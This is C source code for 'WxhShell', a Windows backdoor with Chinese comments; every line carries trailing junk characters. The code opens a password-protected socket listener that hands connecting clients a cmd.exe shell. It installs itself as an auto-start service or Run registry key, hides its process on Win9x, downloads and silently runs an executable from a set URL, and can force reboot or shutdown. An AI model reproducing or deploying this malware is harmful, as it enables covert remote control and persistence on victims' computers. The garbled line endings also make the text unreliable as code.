    if(Boot(SHUTDOWN)) /:\3 \{?0m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A;J MV+2N  
    else { >m'x8xB=  
    closesocket(wsh); 7$k8%lI;>  
    ExitThread(0); Pz_NDI  
    } tQ~WEC  
    break; 3S BZ>  
    } o:Zd1"Z  
  // 获取shell d vOJW".  
  case 's': { i1oKrRv  
    CmdShell(wsh); M0c 9pE  
    closesocket(wsh); o+?r I p  
    ExitThread(0);  UkfB^hA  
    break; +<.\5+  
  } -#29xRPk  
  // 退出 w# * 1/N  
  case 'x': { %@R~DBS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XMRNuEU  
    CloseIt(wsh); Z?^"\u-  
    break; `*\{.;,]#  
    } .9|u QEL  
  // 离开 3_`szl-  
  case 'q': { j}+5vB|0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (X6sSO  
    closesocket(wsh); ~JuKV&&}K  
    WSACleanup(); S)A'Y]2X  
    exit(1); H<ZU#U0FZf  
    break; Sg] J7;]  
        } R[1BfZ6s  
  } me\cLFw  
  } "%@uO)A /  
plV7+?G  
  // 提示信息 \;]kYO}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 15zrrU~D  
} y_}SK6{  
  } uD[ "{?H  
*o' 4,+=am  
  return; ecX/K.8l  
} !]S=z^"<  
-qebQv  
// shell模块句柄 l SkEuN  
int CmdShell(SOCKET sock) 3^.8.q(6  
{ hxC!+ArVe  
STARTUPINFO si; M0-,M/]l  
ZeroMemory(&si,sizeof(si)); QMk+RM8U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  yu ,h\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &!y]:CC{  
PROCESS_INFORMATION ProcessInfo; kDB iBNdB  
char cmdline[]="cmd"; {$^SP7qV#>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Zbesp KZ  
  return 0; >sj bK%  
} 2 Y|D'^  
,vG<*|pn  
// 自身启动模式 :+ ,st&(E  
int StartFromService(void) d<@Mdo<;?g  
{ T+RZ  
typedef struct vN{-?  
{ `ycU-m==  
  DWORD ExitStatus; }r2[!gGd%|  
  DWORD PebBaseAddress; Y5-kj,CB  
  DWORD AffinityMask; sIm#_+Y  
  DWORD BasePriority; wH!#aB>kP  
  ULONG UniqueProcessId; bj"z8kP  
  ULONG InheritedFromUniqueProcessId; m1.B\~S3  
}   PROCESS_BASIC_INFORMATION; .yVnw^gu  
(G4'(6  
PROCNTQSIP NtQueryInformationProcess; $Kq<W{H3ut  
B; -2$ 77  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c6b0*!D"}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZM~`Gd9K0E  
el'j&I  
  HANDLE             hProcess; RI@*O6\/I  
  PROCESS_BASIC_INFORMATION pbi; acOJ]]  
Dw |3Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \]Z&P,}w  
  if(NULL == hInst ) return 0; St>`p-  
Isovwd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8mgQu]>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4&N$:j<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^t78jfl  
fQQ |gwVki  
  if (!NtQueryInformationProcess) return 0; !*P&Eat  
h39e)%x1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i<u9:W  
  if(!hProcess) return 0; y3yvZD  
G[q9A$yw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0RyFv+  
Sl.o,W^  
  CloseHandle(hProcess); Ko}2%4on  
:pd&dg!5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bp0bY9xLg_  
if(hProcess==NULL) return 0; j??tmo  
cw+g z!!  
HMODULE hMod; w &vhWq  
char procName[255]; ~tNY"{OV#  
unsigned long cbNeeded; A1Q +0  
n(jjvLf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TmiWjQv`  
8X~h?^Vz  
  CloseHandle(hProcess); / Dw@d,&[  
`{G?>z Fp  
if(strstr(procName,"services")) return 1; // 以服务启动 8D2yR#3  
wZv-b*4  
  return 0; // 注册表启动 bag&BHw  
} pGGV\zD^  
O3ZM:,.  
// 主模块 Za!w#j%h  
int StartWxhshell(LPSTR lpCmdLine) CT}' ")Bm  
{ u)7 ]1e{  
  SOCKET wsl; baIbf@t/  
BOOL val=TRUE; l7Lj[d<n  
  int port=0; >h[(w  
  struct sockaddr_in door; pb$fb  
gPUo25@pn*  
  if(wscfg.ws_autoins) Install(); Ea4 * o  
|yAK@ Hl'  
port=atoi(lpCmdLine); ycjJbL(.  
B+Q+0tw*i  
if(port<=0) port=wscfg.ws_port; XTj73 MWY  
!~d'{sy6  
  WSADATA data; Yzd2G,kZ=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y*\6o7  
a*Jn#Mx<M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ( 2zeG`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &A"e,h(^  
  door.sin_family = AF_INET; p1 4d ,}4W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b8HE."*t  
  door.sin_port = htons(port); U"B.:C2  
t{=i=K 3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M@~ o6^  
closesocket(wsl); 7O461$4v  
return 1; 4OEKx|:5n  
}  0dh#/  
A|C_np^z2  
  if(listen(wsl,2) == INVALID_SOCKET) { M*H< n*  
closesocket(wsl); %|jzEBz@  
return 1; /=trj5h  
} 1uC;$Aj6:  
  Wxhshell(wsl); ^5>du~d  
  WSACleanup(); jI Z+d;1  
bx7\QU+  
return 0; K>LpN')d  
9ET/I$n  
} G)~MbesJ  
:;_#5  
// 以NT服务方式启动 u0'i!@795  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QmHwn)Ly  
{ 7&px+155  
DWORD   status = 0; Q!x`M4   
  DWORD   specificError = 0xfffffff; tO4):i1  
(h|ch#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =Pj@g/25u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s@ z{dmL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QxA0I+i  
  serviceStatus.dwWin32ExitCode     = 0;  s<d!+<  
  serviceStatus.dwServiceSpecificExitCode = 0; KJ pj  
  serviceStatus.dwCheckPoint       = 0; Y.9~Bo<<r  
  serviceStatus.dwWaitHint       = 0; !Z-9tYO  
mb~./.5F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;'hi9L  
  if (hServiceStatusHandle==0) return; Lb^(E-  
W'V@  
status = GetLastError(); >"bnpYSe  
  if (status!=NO_ERROR) -+' #*V  
{ a! ?.F_T9A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K@*rVor{  
    serviceStatus.dwCheckPoint       = 0; +Tp%5+E  
    serviceStatus.dwWaitHint       = 0; a(5y>HF  
    serviceStatus.dwWin32ExitCode     = status; EFwL.'Fh  
    serviceStatus.dwServiceSpecificExitCode = specificError; `>\4"`I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<.7xz|V  
    return; mHHzCKE,  
  } m'SmN{(t  
y]J3h Ks  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hMz&JJ&B  
  serviceStatus.dwCheckPoint       = 0; ) (+)Q'*  
  serviceStatus.dwWaitHint       = 0; }R`Irxv4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -$OD}5ku#  
} 6QW<RXom  
,b:n1  
// 处理NT服务事件,比如:启动、停止 {:3.27jQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l3BD <PB2S  
{ 2DUr7r M  
switch(fdwControl) [h^f%  
{ C#ZhsWS!b  
case SERVICE_CONTROL_STOP: ckAsGF_B~!  
  serviceStatus.dwWin32ExitCode = 0; QP+c?ct}hF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T6,V  
  serviceStatus.dwCheckPoint   = 0; % <^[j^j}o  
  serviceStatus.dwWaitHint     = 0; G{/;AK  
  { pK<%<dIc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fWd~-U0M^  
  } L)1C'8 ).  
  return; W\'Nv/L  
case SERVICE_CONTROL_PAUSE: D9,e3.?p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7F=2t_2O  
  break; P&,hiGTDi  
case SERVICE_CONTROL_CONTINUE: >/8ru*Oc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I'xC+nL@  
  break; R04.K !  
case SERVICE_CONTROL_INTERROGATE: .r7D )xNa@  
  break; Q6eN+i2 ;  
}; y{YXf! AS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Z"28?  
} hTDV!B-_(  
m**0rpA  
// 标准应用程序主函数 gH5CB%)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o*-h%Z.  
{ N4A&"1d&  
Sy4 mZ}:  
// 获取操作系统版本 a5X`jo  
OsIsNt=GetOsVer(); uXjoGcW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k{?!O\yY  
p}96uaC1  
  // 从命令行安装 Y+!Ouc!$  
  if(strpbrk(lpCmdLine,"iI")) Install(); wH+FFXGJs  
4=~ 9v  
  // 下载执行文件 >'eB2  
if(wscfg.ws_downexe) { Z+r%_|kZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :jBZK=3F>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q@7l"8#[t  
} nt drXg  
<"hb#Tn  
if(!OsIsNt) {  <V7SSm  
// 如果时win9x,隐藏进程并且设置为注册表启动 j.<:00<  
HideProc(); MRjH40" 2  
StartWxhshell(lpCmdLine); Tt{U"EFO  
} A*rZQh b[  
else -)4uYK*  
  if(StartFromService()) IO^:FnJJv  
  // 以服务方式启动 ~g*Y, Y  
  StartServiceCtrlDispatcher(DispatchTable); @bc[ eas  
else >_&~!Y.Z=  
  // 普通方式启动 O~${&(  
  StartWxhshell(lpCmdLine); J 5Wz4`'  
j?Cr31  
return 0; RP,A!pa@  
} qUifw @  
_{lx*dq  
;,<r|.6U  
".Lhte R?  
=========================================== rny@n^F  
q1U&vZ3]c  
i:V0fBR[>  
+fC#2%VnU  
/_ $~rW  
8.*\+nH  
" L@>^_p$  
\d `dV0X  
#include <stdio.h> 9B qQ^`bu  
#include <string.h> NS7@8 #C  
#include <windows.h> AF6d#Klog  
#include <winsock2.h> dNOX&$/=  
#include <winsvc.h> F5<"ktnI  
#include <urlmon.h> G /NT e  
;[FW!  
#pragma comment (lib, "Ws2_32.lib") xN e_qO  
#pragma comment (lib, "urlmon.lib") fndK/~?]H  
>{j,+$%kp  
#define MAX_USER   100 // 最大客户端连接数 3DxZ#/!  
#define BUF_SOCK   200 // sock buffer hZp=BM"bJ  
#define KEY_BUFF   255 // 输入 buffer 2=igS#h  
>(IITt  
#define REBOOT     0   // 重启 ,:v.L}+Z  
#define SHUTDOWN   1   // 关机 &?KPu?9  
4C l, Iw/;  
#define DEF_PORT   5000 // 监听端口 o}WB(WsG  
I(z>)S'7r  
#define REG_LEN     16   // 注册表键长度 4$0jz'  
#define SVC_LEN     80   // NT服务名长度 A Oby*c  
A8 \U CG  
// 从dll定义API @`w'   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @o}1n?w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -s9Y(>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 ;cv-W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r{pI-$  
g2+l@$W  
// wxhshell配置信息 XD;15a  
struct WSCFG { :*mA,2s  
  int ws_port;         // 监听端口 e*Uz# w:  
  char ws_passstr[REG_LEN]; // 口令 s,1pZT <E  
  int ws_autoins;       // 安装标记, 1=yes 0=no eNI kiJ$uS  
  char ws_regname[REG_LEN]; // 注册表键名 BengRG[  
  char ws_svcname[REG_LEN]; // 服务名 u3Zzu\{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EO4" Z@ji  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E\{^0vNc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vpug"aR&_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kV*y_5g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u} JQTro  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mr:kn0  
2uvQf&,  
}; s(1_:  
}ZEfT]  
// default Wxhshell configuration }u(d'9u  
struct WSCFG wscfg={DEF_PORT, PWf{aHsr  
    "xuhuanlingzhe", 2x)0?N[$O  
    1, ,H.(\p_N  
    "Wxhshell", >$7wA9YhL  
    "Wxhshell", -D!#W%y8  
            "WxhShell Service", J>HLQP  
    "Wrsky Windows CmdShell Service", Ck ~V5  
    "Please Input Your Password: ", t] n(5!L(  
  1, PphR4 sIM  
  "http://www.wrsky.com/wxhshell.exe", Eg@R[ ^T  
  "Wxhshell.exe" =$"zqa.B6  
    };  opUKrB  
~[ d=s  
// 消息定义模块 '+ o:,6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fpj6Atk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pRQ fx^ On  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K^!e-Xi6  
char *msg_ws_ext="\n\rExit."; ,^MW)Gf<  
char *msg_ws_end="\n\rQuit."; 7,V!Iv^X  
char *msg_ws_boot="\n\rReboot..."; g5kYyE  
char *msg_ws_poff="\n\rShutdown..."; OmTZ-*N  
char *msg_ws_down="\n\rSave to "; w\"n!^ms  
n:5O9,umZ  
char *msg_ws_err="\n\rErr!"; ?=;e.qK=71  
char *msg_ws_ok="\n\rOK!"; es.\e.HK  
GW>7R6i  
char ExeFile[MAX_PATH]; Gt\K Ln  
int nUser = 0; /RA1d<~$q  
HANDLE handles[MAX_USER]; jSeA %Te  
int OsIsNt; '8r8 ^g[  
dO 1-c`  
SERVICE_STATUS       serviceStatus; 88tFB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ()@.;R.Z  
0[Xt,~  
// 函数声明 CX&yjT6`  
int Install(void); eZN3H"H  
int Uninstall(void); < "L){$  
int DownloadFile(char *sURL, SOCKET wsh); ?)Czl4J  
int Boot(int flag); &xGfkCP.]  
void HideProc(void); z:ru68  
int GetOsVer(void); egxJ3.  
int Wxhshell(SOCKET wsl); Dyouk+08x  
void TalkWithClient(void *cs); Z]7;u>2  
int CmdShell(SOCKET sock); @\%)'WU  
int StartFromService(void); 3PvZ_!G  
int StartWxhshell(LPSTR lpCmdLine); P`Hd*xh".j  
_V_8p)%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a'_MhJzs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \p>]G[g  
Y^c,mK^  
// 数据结构和表定义 X]JpS  
SERVICE_TABLE_ENTRY DispatchTable[] = C0t+Q  
{ ,E*a$cCw  
{wscfg.ws_svcname, NTServiceMain}, ? RR Srr1  
{NULL, NULL} e6{[o@aM{  
}; \J,- <wF  
xY\*L:TwW  
// 自我安装 h9Tf@]W   
int Install(void) Z!]U&Ax`Z  
{ F(KH-  
  char svExeFile[MAX_PATH]; }Ke}rM<  
  HKEY key; S1H47<)UF  
  strcpy(svExeFile,ExeFile); [}9XHhY1O=  
+2;#9aa I  
// 如果是win9x系统,修改注册表设为自启动 YmO"EWb  
if(!OsIsNt) { .UT,lqEkv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0A[v}X ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hVT=j ?~  
  RegCloseKey(key); DSDl[;3O{s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<_,>{$gW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }QWTPRn  
  RegCloseKey(key); E+^} B/"  
  return 0; (2O} B.6  
    } @Q$ /eL  
  } aiR|.opIb  
} uJ IRk$  
else { @ V7ooo!  
Z5*(W;;  
// 如果是NT以上系统,安装为系统服务 }GoOE=rhY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P[#WHbn  
if (schSCManager!=0) (jo(bbpj  
{ 86^ZYh  
  SC_HANDLE schService = CreateService ]df9'\  
  ( j?f,~Y<k  
  schSCManager, g6@NPQ  
  wscfg.ws_svcname, ^O$[Y9~*  
  wscfg.ws_svcdisp, +]S;U&vQ  
  SERVICE_ALL_ACCESS, H4y1Hpa,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , So)KI_M  
  SERVICE_AUTO_START, o%4&1^ Vg  
  SERVICE_ERROR_NORMAL, m mJ)m  
  svExeFile, XZep7d}  
  NULL, [KimY  
  NULL, d5sGkR`(  
  NULL, < o'7{  
  NULL, p+`*~6Jj/  
  NULL 0>~6Z  
  ); _V7^sk!  
  if (schService!=0) -;@5Ua1uf  
  { "#\bQf}  
  CloseServiceHandle(schService); A=qW]Im  
  CloseServiceHandle(schSCManager); /4"S}P>f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xPfnyAo?%z  
  strcat(svExeFile,wscfg.ws_svcname); O&?CoA?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \6`%NhkM_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?2<6#>(7a  
  RegCloseKey(key); Ltic_cjYd?  
  return 0; Ghgv RR$  
    } St7D.|  
  } 1)/T.q<D"  
  CloseServiceHandle(schSCManager); ktw!T{  
} tZNad  
} wWOT*R_  
2ucF( ^  
return 1; '#4mDz~  
} #nc@!+  
}*}`)rj,  
// 自我卸载 L>5!3b=b  
int Uninstall(void) K&D}!.~/  
{ e@2Vn? 5  
  HKEY key; LHHDt<+B  
vq0M[Vy  
if(!OsIsNt) { ^zWO[$n}tP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }%>$}4 ,  
  RegDeleteValue(key,wscfg.ws_regname); IjB*myN.  
  RegCloseKey(key); Z;~E+dXC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B'gk/^6$eg  
  RegDeleteValue(key,wscfg.ws_regname); $MJDB  
  RegCloseKey(key); [^(R1K  
  return 0; >e$^# \D  
  } h4B#T'b  
} TNFm7}=  
} (y+5d00  
else { li_pM!dWU_  
[>J~M!yu:r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {ZsWZJ!  
if (schSCManager!=0) 8F\Msx  
{ 3R=3\;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |L_g/e1A3  
  if (schService!=0) cdtzf:#q  
  { HyX4ob[X  
  if(DeleteService(schService)!=0) { eR* ]<0=  
  CloseServiceHandle(schService); #`#aSqGmc  
  CloseServiceHandle(schSCManager); dW^_tzfF7  
  return 0; RkH oT^  
  } f\F_?s)_y  
  CloseServiceHandle(schService); )V$!  
  } }rMpp[  
  CloseServiceHandle(schSCManager); hA,rSq  
} pXT$Y8M  
}  0[!gk]p  
lRATrp#T  
return 1; ^SSOh#  
} CTbhwY(/  
@#--dOWYR  
// 从指定url下载文件 agxSb^ 8tF  
int DownloadFile(char *sURL, SOCKET wsh) L^al1T  
{ jQ\ MB  
  HRESULT hr; zS"zb  
char seps[]= "/"; b{|/J<Fe  
char *token; >/HU'  
char *file; /glnJ3   
char myURL[MAX_PATH]; U`nS` p  
char myFILE[MAX_PATH]; |3T|F3uEX  
<# x%A0  
strcpy(myURL,sURL); uuK]<h*  
  token=strtok(myURL,seps); d>"$^${  
  while(token!=NULL) _M]rH<h  
  { f_P+qm  
    file=token; Oi%~8J>  
  token=strtok(NULL,seps); @~U6=(+  
  } ]Y: W[p  
Hv7D+ j8M  
GetCurrentDirectory(MAX_PATH,myFILE); }Keon.N?   
strcat(myFILE, "\\"); >RqT7n8h  
strcat(myFILE, file); y:[VRLo  
  send(wsh,myFILE,strlen(myFILE),0); ZNC?Ntw  
send(wsh,"...",3,0); /2\= sTd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nIqY}??  
  if(hr==S_OK) ttq< )4  
return 0; M>H^<N}'A  
else 0)Xue9AS  
return 1; cLko  
&{4Mo,x  
} D%Jc?6/I#3  
Pc; 14M  
// 系统电源模块 ' /<b[  
int Boot(int flag) 4k2c mM$  
{ yb.|7U?/x  
  HANDLE hToken; {_X1&&>8/  
  TOKEN_PRIVILEGES tkp; "O1*uwm  
6p]R)K>wS  
  if(OsIsNt) { [#rdfN'?U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eKFc W5O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (xSi6EZ6;  
    tkp.PrivilegeCount = 1; 8qYGlew,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %b%<g%@i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i~s9Ot  
if(flag==REBOOT) { mhkAI@)>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +xdFkc  
  return 0; ,, #rv-*  
} `::'UfHc  
else { 2#A9D.- h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,lS-;.  
  return 0; y~ 4nF  
} 7(USp#"  
  } d8 Nh0!  
  else { ,<j5i?  
if(flag==REBOOT) { I;.E}k   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )qP{X,Uf  
  return 0; EC!Cv;'  
} k|c0tvp  
else { YGpp:8pen  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eh7r'DmAR  
  return 0; yr 9)ga%  
} ="[](X^ l  
} $JSC+o(q3#  
QZa#i L  
return 1; P 7.8tM2}  
} ~+iJpW  
PEn^.v@  
// win9x进程隐藏模块 Jas|P}{=fT  
void HideProc(void) {)gd|JV*  
{ l3#dfW{  
M9jo<+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #5:A?aj  
  if ( hKernel != NULL ) Qg$Nj=Cw  
  { yy.:0:ema  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U\ E{-7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >A( C9_\  
    FreeLibrary(hKernel);  glX2L ~  
  } ;Y&?ixx  
XaS_3d  
return; 3$yL+%i  
} @`8 B} C  
H;Qn?^  
// 获取操作系统版本 Qbpl$L  
int GetOsVer(void) vA-p} ]%  
{ .%b_3s".  
  OSVERSIONINFO winfo; (BQ3M-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u#,'ys  
  GetVersionEx(&winfo); w:xKgng=L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sP8&p*TJF  
  return 1; yrNc[kS/  
  else f\r4[gU@  
  return 0; Zt0%E <C{  
} :;Rt#!  
M`fXH 3D  
// 客户端句柄模块 /lQ0`^yB  
int Wxhshell(SOCKET wsl) v/+}FS=  
{ 2(J tD  
  SOCKET wsh; VEKITBs  
  struct sockaddr_in client; B(Q.a&w45t  
  DWORD myID; {u6fa>R&$  
6|qvo+%  
  while(nUser<MAX_USER) Y4!q 1]TGX  
{ `'.x*MNF  
  int nSize=sizeof(client); gH55c aF<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CWsv#XOg]  
  if(wsh==INVALID_SOCKET) return 1; 7kpW 1tjY  
FS+^r\)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rAw1g,&  
if(handles[nUser]==0) NKhR%H  
  closesocket(wsh); u0hbM9U>  
else yzR=:0J  
  nUser++; U`_vF~el~  
  } )&!@O$RS8(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E!l1a5qB  
W@C tFU9  
  return 0; mg/kyua^  
} !:[n3.vm   
QF "&~  
// 关闭 socket #LgoKiP!Y  
void CloseIt(SOCKET wsh) FtDA k?  
{ wSF#;lqd  
closesocket(wsh); j6(IF5MqP  
nUser--; 0$ac1;7  
ExitThread(0); Qf(e'e  
} oySM?ZE  
;rAW3  
// 客户端请求句柄 BQ0PV  
void TalkWithClient(void *cs) BXw,Rz }  
{ )qXe`3 d5  
-"K:ve(K  
  SOCKET wsh=(SOCKET)cs; U)]natB  
  char pwd[SVC_LEN]; A@AGu#W  
  char cmd[KEY_BUFF]; <X&:tZ #/  
char chr[1]; 7lPk~0  
int i,j; `b'J*4|oGo  
A1$'[8U~3  
  while (nUser < MAX_USER) { 0-f-  
gdY/RDxn:  
if(wscfg.ws_passstr) { DC7}Xly(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =U`c }dhS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K"$ky,tU  
  //ZeroMemory(pwd,KEY_BUFF); bY$! "b~  
      i=0; &YKzK)@  
  while(i<SVC_LEN) { me^Gk/`Em  
q\Kdu5x{  
  // 设置超时 =8_TOvSJ4p  
  fd_set FdRead; vqZM89 xY  
  struct timeval TimeOut; 31Mc<4zI8  
  FD_ZERO(&FdRead); ]3jH^7[?  
  FD_SET(wsh,&FdRead); { F8,^+b|  
  TimeOut.tv_sec=8; "*\3.`Kd  
  TimeOut.tv_usec=0; XQ;d ew+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pT$AdvI]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &uW.V+3  
# |[@Due  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )!-'SH  
  pwd=chr[0]; o}Np}PE6  
  if(chr[0]==0xd || chr[0]==0xa) { FWTl:LqFO  
  pwd=0; .tsB$,/  
  break; j=>G fo  
  } g``4U3T%X  
  i++; u Aa>6R  
    } jhM|gV&  
PQ]N>'v-  
  // 如果是非法用户,关闭 socket %'O(Y{$Y.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x:lf=D lA  
} l= S_#  
]+9:i!s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U5 "v1"Ec  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Sh5o'D28  
jzMGRN/67  
while(1) { HbVm O]#$D  
k]5L\]>y  
  ZeroMemory(cmd,KEY_BUFF); 5] %kWV>  
%&(\dt&R1h  
      // 自动支持客户端 telnet标准   '#6DI"vJ  
  j=0; z# B) b5  
  while(j<KEY_BUFF) { 1bs95Fh9Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iO`f{?b  
  cmd[j]=chr[0]; bYH_U4b  
  if(chr[0]==0xa || chr[0]==0xd) { o!S_j^p[C  
  cmd[j]=0; _nq n|  
  break; }cmL{S  
  } ,DLNI0uV  
  j++; ')RK(I  
    } 8;3FTF  
^o:5B%}#[  
  // 下载文件 m:CpDxzbf  
  if(strstr(cmd,"http://")) { qChPT:a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CP^^ct-C  
  if(DownloadFile(cmd,wsh)) j<?4N*S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ABGL9;.8  
  else o*'3N/D~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WU_Q 7%+QS  
  } / KM+PeO  
  else { IYN`q'%|  
"&F/'';0}E  
    switch(cmd[0]) { 2c]O Mtk  
  j)Gr@F>  
